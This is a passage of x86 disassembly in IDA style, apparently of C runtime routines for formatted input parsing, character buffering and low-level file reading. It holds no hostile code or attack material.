[ebp+var_2C], eax loc_41D62A: ; CODE XREF: sub_41D497+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_41D648 mov al, [esi] cmp al, 53h jz short loc_41D644 cmp al, 43h jz short loc_41D644 or [ebp+var_5], 0FFh jmp short loc_41D648 ; --------------------------------------------------------------------------- loc_41D644: ; CODE XREF: sub_41D497+1A1j ; sub_41D497+1A5j mov [ebp+var_5], 1 loc_41D648: ; CODE XREF: sub_41D497+19Bj ; sub_41D497+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_41D681 cmp esi, 63h jz short loc_41D672 cmp esi, 7Bh jz short loc_41D672 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41DF24 pop ecx jmp short loc_41D67D ; --------------------------------------------------------------------------- loc_41D672: ; CODE XREF: sub_41D497+1C5j ; sub_41D497+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_41DEF3 loc_41D67D: ; CODE XREF: sub_41D497+1D9j pop ecx mov [ebp+var_14], eax loc_41D681: ; CODE XREF: sub_41D497+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_41D691 cmp [ebp+var_C], eax jz loc_41DE6D loc_41D691: ; CODE XREF: sub_41D497+1EFj cmp esi, 6Fh jg loc_41D8F8 jz loc_41DBAA cmp esi, 63h jz loc_41D8D5 cmp esi, 64h jz loc_41DBAA jle loc_41D922 cmp esi, 67h jle short loc_41D6F5 cmp esi, 69h jz short loc_41D6DD cmp esi, 6Eh jnz loc_41D922 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_41DDD8 jmp loc_41DDFE ; --------------------------------------------------------------------------- loc_41D6DD: ; CODE XREF: sub_41D497+229j push 64h pop esi loc_41D6E0: ; CODE XREF: sub_41D497+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_41D96A mov [ebp+var_17], 1 jmp loc_41D96F ; --------------------------------------------------------------------------- loc_41D6F5: ; CODE XREF: sub_41D497+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_41D711 mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_41D716 ; --------------------------------------------------------------------------- loc_41D711: ; CODE XREF: sub_41D497+26Aj cmp ebx, 2Bh jnz short loc_41D72D loc_41D716: ; CODE XREF: sub_41D497+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_41DEF3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41D730 ; --------------------------------------------------------------------------- loc_41D72D: ; CODE XREF: sub_41D497+27Dj mov edi, [ebp+arg_0] loc_41D730: ; CODE XREF: sub_41D497+294j cmp [ebp+var_20], 0 jz short loc_41D73F cmp [ebp+var_C], 15Dh jle short loc_41D746 loc_41D73F: ; CODE XREF: sub_41D497+29Dj mov [ebp+var_C], 15Dh loc_41D746: ; CODE XREF: sub_41D497+2A6j ; sub_41D497+2F2j cmp dword_438C8C, 1 jle short loc_41D75B push 4 push ebx call sub_41A342 pop ecx pop ecx jmp short loc_41D766 ; --------------------------------------------------------------------------- loc_41D75B: ; CODE XREF: sub_41D497+2B6j mov eax, off_438A80 mov al, [eax+ebx*2] and eax, 4 loc_41D766: ; CODE XREF: sub_41D497+2C2j test eax, eax jz short loc_41D78B mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41D78B inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41DEF3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41D746 ; --------------------------------------------------------------------------- loc_41D78B: ; CODE XREF: sub_41D497+2D1j ; sub_41D497+2DBj cmp byte_438C90, bl jnz short loc_41D7F9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41D7F9 inc [ebp+var_4] push edi call sub_41DEF3 mov ebx, eax mov al, byte_438C90 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_41D7B4: ; CODE XREF: sub_41D497+360j cmp dword_438C8C, 1 jle short loc_41D7C9 push 4 push ebx call sub_41A342 pop ecx pop ecx jmp short loc_41D7D4 ; --------------------------------------------------------------------------- loc_41D7C9: ; CODE XREF: sub_41D497+324j mov eax, off_438A80 mov al, [eax+ebx*2] and eax, 4 loc_41D7D4: ; CODE XREF: sub_41D497+330j test eax, eax jz short loc_41D7F9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41D7F9 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41DEF3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41D7B4 ; --------------------------------------------------------------------------- loc_41D7F9: ; CODE XREF: sub_41D497+2FAj ; sub_41D497+304j ... cmp [ebp+var_1C], 0 jz loc_41D891 cmp ebx, 65h jz short loc_41D811 cmp ebx, 45h jnz loc_41D891 loc_41D811: ; CODE XREF: sub_41D497+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41D891 mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_41DEF3 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_41D838 mov [esi], al inc esi jmp short loc_41D83D ; --------------------------------------------------------------------------- loc_41D838: ; CODE XREF: sub_41D497+39Aj cmp ebx, 2Bh jnz short loc_41D85B loc_41D83D: ; CODE XREF: sub_41D497+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_41D84C and [ebp+var_C], eax jmp short loc_41D85B ; --------------------------------------------------------------------------- loc_41D84C: ; CODE XREF: sub_41D497+3AEj ; sub_41D497+3F8j inc [ebp+var_4] push edi call sub_41DEF3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41D85B: ; CODE XREF: sub_41D497+3A4j ; sub_41D497+3B3j cmp dword_438C8C, 1 jle short loc_41D870 push 4 push ebx call sub_41A342 pop ecx pop ecx jmp short loc_41D87B ; --------------------------------------------------------------------------- loc_41D870: ; CODE XREF: sub_41D497+3CBj mov eax, off_438A80 mov al, [eax+ebx*2] and eax, 4 loc_41D87B: ; CODE XREF: sub_41D497+3D7j test eax, eax jz short loc_41D891 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41D891 inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_41D84C ; --------------------------------------------------------------------------- loc_41D891: ; CODE XREF: sub_41D497+366j ; sub_41D497+374j ... dec [ebp+var_4] push edi push ebx call sub_41DF0D cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_41DE9D cmp [ebp+var_E], 0 jnz loc_41DDFE inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43ADE8 add esp, 0Ch jmp loc_41DDFE ; --------------------------------------------------------------------------- loc_41D8D5: ; CODE XREF: sub_41D497+20Cj cmp [ebp+var_20], eax jnz short loc_41D8E4 inc [ebp+var_C] mov [ebp+var_20], 1 loc_41D8E4: ; CODE XREF: sub_41D497+441j cmp [ebp+var_5], 0 jle short loc_41D8EE mov [ebp+var_16], 1 loc_41D8EE: ; CODE XREF: sub_41D497+451j mov edi, offset dword_43AE10 jmp loc_41DA03 ; --------------------------------------------------------------------------- loc_41D8F8: ; CODE XREF: sub_41D497+1FDj mov eax, esi sub eax, 70h jz loc_41DBA6 sub eax, 3 jz loc_41D9F4 dec eax dec eax jz loc_41DBAA sub eax, 3 jz loc_41D6E0 sub eax, 3 jz short loc_41D946 loc_41D922: ; CODE XREF: sub_41D497+21Bj ; sub_41D497+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_41DE6D dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_41DDFE mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_41DDFE ; --------------------------------------------------------------------------- loc_41D946: ; CODE XREF: sub_41D497+489j cmp [ebp+var_5], 0 jle short loc_41D950 mov [ebp+var_16], 1 loc_41D950: ; CODE XREF: sub_41D497+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_41DA07 mov eax, edi lea edi, [eax+1] jmp loc_41DA03 ; --------------------------------------------------------------------------- loc_41D96A: ; CODE XREF: sub_41D497+24Fj cmp ebx, 2Bh jnz short loc_41D991 loc_41D96F: ; CODE XREF: sub_41D497+259j dec [ebp+var_C] jnz short loc_41D980 cmp [ebp+var_20], 0 jz short loc_41D980 mov [ebp+var_F], 1 jmp short loc_41D991 ; --------------------------------------------------------------------------- loc_41D980: ; CODE XREF: sub_41D497+4DBj ; sub_41D497+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_41DEF3 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41D991: ; CODE XREF: sub_41D497+4D6j ; sub_41D497+4E7j cmp ebx, 30h jnz loc_41DBDF push [ebp+arg_0] inc [ebp+var_4] call sub_41DEF3 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_41D9DF cmp bl, 58h jz short loc_41D9DF cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_41D9C9 push 6Fh loc_41D9C3: ; CODE XREF: sub_41D497+55Bj pop esi jmp loc_41DBDF ; --------------------------------------------------------------------------- loc_41D9C9: ; CODE XREF: sub_41D497+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41DF0D pop ecx pop ecx push 30h pop ebx jmp loc_41DBDC ; --------------------------------------------------------------------------- loc_41D9DF: ; CODE XREF: sub_41D497+517j ; sub_41D497+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_41DEF3 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_41D9C3 ; --------------------------------------------------------------------------- loc_41D9F4: ; CODE XREF: sub_41D497+46Fj cmp [ebp+var_5], 0 jle short loc_41D9FE mov [ebp+var_16], 1 loc_41D9FE: ; CODE XREF: sub_41D497+561j mov edi, offset dword_43AE08 loc_41DA03: ; CODE XREF: sub_41D497+45Cj ; sub_41D497+4CEj or [ebp+var_18], 0FFh loc_41DA07: ; CODE XREF: sub_41D497+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_417030 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_41DA2B cmp byte ptr [edi], 5Dh jnz short loc_41DA2B mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_41DA2E ; --------------------------------------------------------------------------- loc_41DA2B: ; CODE XREF: sub_41D497+584j ; sub_41D497+589j mov dl, [ebp+var_35] loc_41DA2E: ; CODE XREF: sub_41D497+592j ; sub_41D497+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_41DA93 inc edi cmp al, 2Dh jnz short loc_41DA7A test dl, dl jz short loc_41DA7A mov cl, [edi] cmp cl, 5Dh jz short loc_41DA7A inc edi cmp dl, cl jnb short loc_41DA4D mov al, cl jmp short loc_41DA51 ; --------------------------------------------------------------------------- loc_41DA4D: ; CODE XREF: sub_41D497+5B0j mov al, dl mov dl, cl loc_41DA51: ; CODE XREF: sub_41D497+5B4j cmp dl, al ja short loc_41DA76 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_41DA5E: ; CODE XREF: sub_41D497+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_41DA5E loc_41DA76: ; CODE XREF: sub_41D497+5BCj xor dl, dl jmp short loc_41DA2E ; --------------------------------------------------------------------------- loc_41DA7A: ; CODE XREF: sub_41D497+5A0j ; sub_41D497+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_41DA2E ; --------------------------------------------------------------------------- loc_41DA93: ; CODE XREF: sub_41D497+59Bj cmp byte ptr [edi], 0 jz loc_41DE9D cmp [ebp+var_3C], 7Bh jnz short loc_41DAA5 mov [ebp+arg_4], edi loc_41DAA5: ; CODE XREF: sub_41D497+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_41DF0D pop ecx pop ecx loc_41DABC: ; CODE XREF: sub_41D497+6BCj ; sub_41D497+6C4j cmp [ebp+var_20], 0 jz short loc_41DAD0 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_41DB6C loc_41DAD0: ; CODE XREF: sub_41D497+629j inc [ebp+var_4] push edi call sub_41DEF3 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_41DB60 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_41DB60 cmp [ebp+var_E], 0 jnz short loc_41DB58 cmp [ebp+var_16], 0 jz short loc_41DB4D mov ecx, off_438A80 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41DB2C inc [ebp+var_4] push edi call sub_41DEF3 pop ecx mov [ebp+var_37], al loc_41DB2C: ; CODE XREF: sub_41D497+686j push dword_438C8C lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_420BC4 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_41DB50 ; --------------------------------------------------------------------------- loc_41DB4D: ; CODE XREF: sub_41D497+673j mov [esi], al inc esi loc_41DB50: ; CODE XREF: sub_41D497+6B4j mov [ebp+var_2C], esi jmp loc_41DABC ; --------------------------------------------------------------------------- loc_41DB58: ; CODE XREF: sub_41D497+66Dj inc [ebp+var_30] jmp loc_41DABC ; --------------------------------------------------------------------------- loc_41DB60: ; CODE XREF: sub_41D497+649j ; sub_41D497+667j dec [ebp+var_4] push edi push eax call sub_41DF0D pop ecx pop ecx loc_41DB6C: ; CODE XREF: sub_41D497+633j cmp [ebp+var_30], esi jz loc_41DE9D cmp [ebp+var_E], 0 jnz loc_41DDFE inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_41DDFE cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_41DB9E and word ptr [eax], 0 jmp loc_41DDFE ; --------------------------------------------------------------------------- loc_41DB9E: ; CODE XREF: sub_41D497+6FCj and byte ptr [eax], 0 jmp loc_41DDFE ; --------------------------------------------------------------------------- loc_41DBA6: ; CODE XREF: sub_41D497+466j mov [ebp+var_D], 1 loc_41DBAA: ; CODE XREF: sub_41D497+203j ; sub_41D497+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_41DBB8 mov [ebp+var_17], 1 jmp short loc_41DBBD ; --------------------------------------------------------------------------- loc_41DBB8: ; CODE XREF: sub_41D497+719j cmp ebx, 2Bh jnz short loc_41DBDF loc_41DBBD: ; CODE XREF: sub_41D497+71Fj dec [ebp+var_C] jnz short loc_41DBCE cmp [ebp+var_20], 0 jz short loc_41DBCE mov [ebp+var_F], 1 jmp short loc_41DBDF ; --------------------------------------------------------------------------- loc_41DBCE: ; CODE XREF: sub_41D497+729j ; sub_41D497+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_41DEF3 pop ecx mov ebx, eax loc_41DBDC: ; CODE XREF: sub_41D497+543j mov [ebp+var_14], ebx loc_41DBDF: ; CODE XREF: sub_41D497+4FDj ; sub_41D497+52Dj ... cmp [ebp+var_30], 0 jz loc_41DCF8 cmp [ebp+var_F], 0 jnz loc_41DCD6 loc_41DBF3: ; CODE XREF: sub_41D497+82Cj cmp esi, 78h jnz short loc_41DC47 cmp dword_438C8C, 1 jle short loc_41DC10 push 80h push ebx call sub_41A342 pop ecx pop ecx jmp short loc_41DC1D ; --------------------------------------------------------------------------- loc_41DC10: ; CODE XREF: sub_41D497+768j mov eax, off_438A80 mov al, [eax+ebx*2] and eax, 80h loc_41DC1D: ; CODE XREF: sub_41D497+777j test eax, eax jz loc_41DCC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_420CC0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_41DEBC mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41DC9A ; --------------------------------------------------------------------------- loc_41DC47: ; CODE XREF: sub_41D497+75Fj cmp dword_438C8C, 1 jle short loc_41DC5C push 4 push ebx call sub_41A342 pop ecx pop ecx jmp short loc_41DC67 ; --------------------------------------------------------------------------- loc_41DC5C: ; CODE XREF: sub_41D497+7B7j mov eax, off_438A80 mov al, [eax+ebx*2] and eax, 4 loc_41DC67: ; CODE XREF: sub_41D497+7C3j test eax, eax jz short loc_41DCC8 cmp esi, 6Fh jnz short loc_41DC85 cmp ebx, 38h jge short loc_41DCC8 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_420CC0 jmp short loc_41DC94 ; --------------------------------------------------------------------------- loc_41DC85: ; CODE XREF: sub_41D497+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_417460 loc_41DC94: ; CODE XREF: sub_41D497+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_41DC9A: ; CODE XREF: sub_41D497+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_41DCB2 dec [ebp+var_C] jz short loc_41DCD6 loc_41DCB2: ; CODE XREF: sub_41D497+814j push [ebp+arg_0] inc [ebp+var_4] call sub_41DEF3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41DBF3 ; --------------------------------------------------------------------------- loc_41DCC8: ; CODE XREF: sub_41D497+788j ; sub_41D497+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41DF0D pop ecx pop ecx loc_41DCD6: ; CODE XREF: sub_41D497+756j ; sub_41D497+819j cmp [ebp+var_17], 0 jz loc_41DDBC mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_41DDBC ; --------------------------------------------------------------------------- loc_41DCF8: ; CODE XREF: sub_41D497+74Cj cmp [ebp+var_F], 0 jnz loc_41DDB4 loc_41DD02: ; CODE XREF: sub_41D497+90Aj cmp esi, 78h jz short loc_41DD46 cmp esi, 70h jz short loc_41DD46 cmp dword_438C8C, 1 jle short loc_41DD21 push 4 push ebx call sub_41A342 pop ecx pop ecx jmp short loc_41DD2C ; --------------------------------------------------------------------------- loc_41DD21: ; CODE XREF: sub_41D497+87Cj mov eax, off_438A80 mov al, [eax+ebx*2] and eax, 4 loc_41DD2C: ; CODE XREF: sub_41D497+888j test eax, eax jz short loc_41DDA6 cmp esi, 6Fh jnz short loc_41DD3F cmp ebx, 38h jge short loc_41DDA6 shl edi, 3 jmp short loc_41DD7E ; --------------------------------------------------------------------------- loc_41DD3F: ; CODE XREF: sub_41D497+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_41DD7E ; --------------------------------------------------------------------------- loc_41DD46: ; CODE XREF: sub_41D497+86Ej ; sub_41D497+873j cmp dword_438C8C, 1 jle short loc_41DD5E push 80h push ebx call sub_41A342 pop ecx pop ecx jmp short loc_41DD6B ; --------------------------------------------------------------------------- loc_41DD5E: ; CODE XREF: sub_41D497+8B6j mov eax, off_438A80 mov al, [eax+ebx*2] and eax, 80h loc_41DD6B: ; CODE XREF: sub_41D497+8C5j test eax, eax jz short loc_41DDA6 push ebx shl edi, 4 call sub_41DEBC mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41DD7E: ; CODE XREF: sub_41D497+8A6j ; sub_41D497+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_41DD90 dec [ebp+var_C] jz short loc_41DDB4 loc_41DD90: ; CODE XREF: sub_41D497+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_41DEF3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41DD02 ; --------------------------------------------------------------------------- loc_41DDA6: ; CODE XREF: sub_41D497+897j ; sub_41D497+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41DF0D pop ecx pop ecx loc_41DDB4: ; CODE XREF: sub_41D497+865j ; sub_41D497+8F7j cmp [ebp+var_17], 0 jz short loc_41DDBC neg edi loc_41DDBC: ; CODE XREF: sub_41D497+843j ; sub_41D497+85Cj ... cmp esi, 46h jnz short loc_41DDC5 and [ebp+var_1C], 0 loc_41DDC5: ; CODE XREF: sub_41D497+928j cmp [ebp+var_1C], 0 jz loc_41DE9D cmp [ebp+var_E], 0 jnz short loc_41DDFE inc [ebp+var_34] loc_41DDD8: ; CODE XREF: sub_41D497+23Bj cmp [ebp+var_30], 0 jz short loc_41DDEE mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_41DDFE ; --------------------------------------------------------------------------- loc_41DDEE: ; CODE XREF: sub_41D497+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_41DDFB mov [eax], edi jmp short loc_41DDFE ; --------------------------------------------------------------------------- loc_41DDFB: ; CODE XREF: sub_41D497+95Ej mov [eax], di loc_41DDFE: ; CODE XREF: sub_41D497+241j ; sub_41D497+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_41DE4B ; --------------------------------------------------------------------------- loc_41DE09: ; CODE XREF: sub_41D497+93j inc [ebp+var_4] push edi call sub_41DEF3 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_41DE78 mov ecx, off_438A80 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41DE4B inc [ebp+var_4] push edi call sub_41DEF3 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_41DE86 dec [ebp+var_4] loc_41DE4B: ; CODE XREF: sub_41D497+970j ; sub_41D497+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41DE61 cmp byte ptr [esi], 25h jnz short loc_41DEA3 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_41DEA3 mov esi, eax loc_41DE61: ; CODE XREF: sub_41D497+9B8j mov al, [esi] test al, al jnz loc_41D4C1 jmp short loc_41DE9D ; --------------------------------------------------------------------------- loc_41DE6D: ; CODE XREF: sub_41D497+1F4j ; sub_41D497+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_41DE7D ; --------------------------------------------------------------------------- loc_41DE78: ; CODE XREF: sub_41D497+98Aj dec [ebp+var_4] push edi push ebx loc_41DE7D: ; CODE XREF: sub_41D497+9DFj call sub_41DF0D pop ecx pop ecx jmp short loc_41DE9D ; --------------------------------------------------------------------------- loc_41DE86: ; CODE XREF: sub_41D497+9AFj dec [ebp+var_4] push edi push eax call sub_41DF0D dec [ebp+var_4] push edi push ebx call sub_41DF0D add esp, 10h loc_41DE9D: ; CODE XREF: sub_41D497+1Fj ; sub_41D497+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41DEB4 loc_41DEA3: ; CODE XREF: sub_41D497+9BDj ; sub_41D497+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_41DEB7 cmp [ebp+var_15], al jnz short loc_41DEB7 or eax, 0FFFFFFFFh jmp short loc_41DEB7 ; --------------------------------------------------------------------------- loc_41DEB4: ; CODE XREF: sub_41D497+A0Aj mov eax, [ebp+var_34] loc_41DEB7: ; CODE XREF: sub_41D497+A11j ; sub_41D497+A16j ... pop edi pop esi pop ebx leave retn sub_41D497 endp ; =============== S U B R O U T I N E ======================================= sub_41DEBC proc near ; CODE XREF: sub_41D497+7A3p ; sub_41D497+8DCp arg_0 = dword ptr 4 cmp dword_438C8C, 1 push esi jle short loc_41DED6 mov esi, [esp+4+arg_0] push 4 push esi call sub_41A342 pop ecx pop ecx jmp short loc_41DEE5 ; --------------------------------------------------------------------------- loc_41DED6: ; CODE XREF: sub_41DEBC+8j mov esi, [esp+4+arg_0] mov eax, off_438A80 mov al, [eax+esi*2] and eax, 4 loc_41DEE5: ; CODE XREF: sub_41DEBC+18j test eax, eax jnz short loc_41DEEF and esi, 0FFFFFFDFh sub esi, 7 loc_41DEEF: ; CODE XREF: sub_41DEBC+2Bj mov eax, esi pop esi retn sub_41DEBC endp ; =============== S U B R O U T I N E ======================================= sub_41DEF3 proc near ; CODE XREF: sub_41D497+1E1p ; sub_41D497+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41DF05 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41DF05: ; CODE XREF: sub_41DEF3+7j push edx call sub_41DF48 pop ecx retn sub_41DEF3 endp ; =============== S U B R O U T I N E ======================================= sub_41DF0D proc near ; CODE XREF: sub_41D497+6Bp ; sub_41D497+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_41DF23 push [esp+arg_4] push [esp+4+arg_0] call sub_420CDF pop ecx pop ecx locret_41DF23: ; CODE XREF: sub_41DF0D+5j retn sub_41DF0D endp ; =============== S U B R O U T I N E ======================================= sub_41DF24 proc near ; CODE XREF: sub_41D497+63p ; sub_41D497+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_41DF2A: ; CODE XREF: sub_41DF24+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_41DEF3 mov edi, eax push edi call sub_420C8C pop ecx test eax, eax pop ecx jnz short loc_41DF2A mov eax, edi pop edi pop esi retn sub_41DF24 endp ; =============== S U B R O U T I N E ======================================= sub_41DF48 proc near ; CODE XREF: sub_418786+A9p ; sub_418D0C+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41E01C test al, 40h jnz loc_41E01C test al, 2 jz short loc_41DF6E or al, 20h mov [esi+0Ch], eax jmp loc_41E01C ; --------------------------------------------------------------------------- loc_41DF6E: ; CODE XREF: sub_41DF48+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41DF82 push esi call sub_41F704 pop ecx jmp short loc_41DF87 ; --------------------------------------------------------------------------- loc_41DF82: ; CODE XREF: sub_41DF48+2Fj mov eax, [esi+8] mov [esi], eax loc_41DF87: ; CODE XREF: sub_41DF48+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41E021 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41E00B cmp eax, 0FFFFFFFFh jz short loc_41E00B mov edx, [esi+0Ch] test dl, 82h jnz short loc_41DFE0 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41DFC9 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_48A7E0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41DFCE ; --------------------------------------------------------------------------- loc_41DFC9: ; CODE XREF: sub_41DF48+6Bj mov edi, offset dword_43B100 loc_41DFCE: ; CODE XREF: sub_41DF48+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41DFE0 or dh, 20h mov [esi+0Ch], edx loc_41DFE0: ; CODE XREF: sub_41DF48+62j ; sub_41DF48+90j cmp dword ptr [esi+18h], 200h jnz short loc_41DFFD mov ecx, [esi+0Ch] test cl, 8 jz short loc_41DFFD test ch, 4 jnz short loc_41DFFD mov dword ptr [esi+18h], 1000h loc_41DFFD: ; CODE XREF: sub_41DF48+9Fj ; sub_41DF48+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E00B: ; CODE XREF: sub_41DF48+55j ; sub_41DF48+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41E01C: ; CODE XREF: sub_41DF48+Aj ; sub_41DF48+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41DF48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E021 proc near ; CODE XREF: sub_418786+90p ; sub_41DF48+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_48A8E0 jnb loc_41E1FE mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:48A7E0h[eax*4] mov eax, dword_48A7E0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41E1FE and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41E0D6 test dl, 2 jnz short loc_41E0D6 test dl, 48h jz short loc_41E096 mov al, [eax+5] cmp al, 0Ah jz short loc_41E096 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41E096: ; CODE XREF: sub_41E021+56j ; 